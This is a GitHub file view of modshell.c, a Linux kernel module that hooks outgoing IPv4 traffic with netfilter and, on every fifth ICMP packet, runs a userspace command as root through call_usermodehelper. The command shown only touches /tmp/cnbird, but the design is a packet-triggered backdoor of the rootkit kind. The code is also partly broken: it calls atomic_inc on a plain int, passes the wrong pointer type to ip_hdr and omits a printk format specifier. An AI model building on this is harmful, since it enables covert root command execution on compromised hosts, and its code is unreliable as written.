-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathmodshell.c
More file actions
53 lines (47 loc) · 1.46 KB
/
Copy pathmodshell.c
File metadata and controls
53 lines (47 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/version.h>
#include <linux/skbuff.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/moduleparam.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Powered By Cnbird!");
MODULE_DESCRIPTION("Modshell version 0.1!");
static int pktcnt = 0;
static unsigned int modshell_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *))
{
const struct iphdr *iph = ip_hdr(skb);
if(iph->protocol == 1){
atomic_inc(&pktcnt);
if(pktcnt%5 == 0){
char * envp[] = { "HOME=/", "PATH=/usr/bin:/sbin:/bin",NULL };
char * argv[] = { "/usr/bin/touch", "/tmp/cnbird", NULL };
int result;
result=call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
printk(KERN_NOTICE "Execute Command is:", result);
return NF_DROP;
}
}
return NF_ACCEPT;
}
static struct nf_hook_ops nfho={
.hook = modshell_func,
.owner = THIS_MODULE,
.pf = PF_INET,
.hooknum = NF_INET_LOCAL_OUT,
.priority = NF_IP_PRI_FIRST,
};
static int __init modshell_init(void)
{
return nf_register_hook(&nfho);
}
static void __exit modshell_fini(void)
{
nf_unregister_hook(&nfho);
}
module_init(modshell_init);
module_exit(modshell_fini);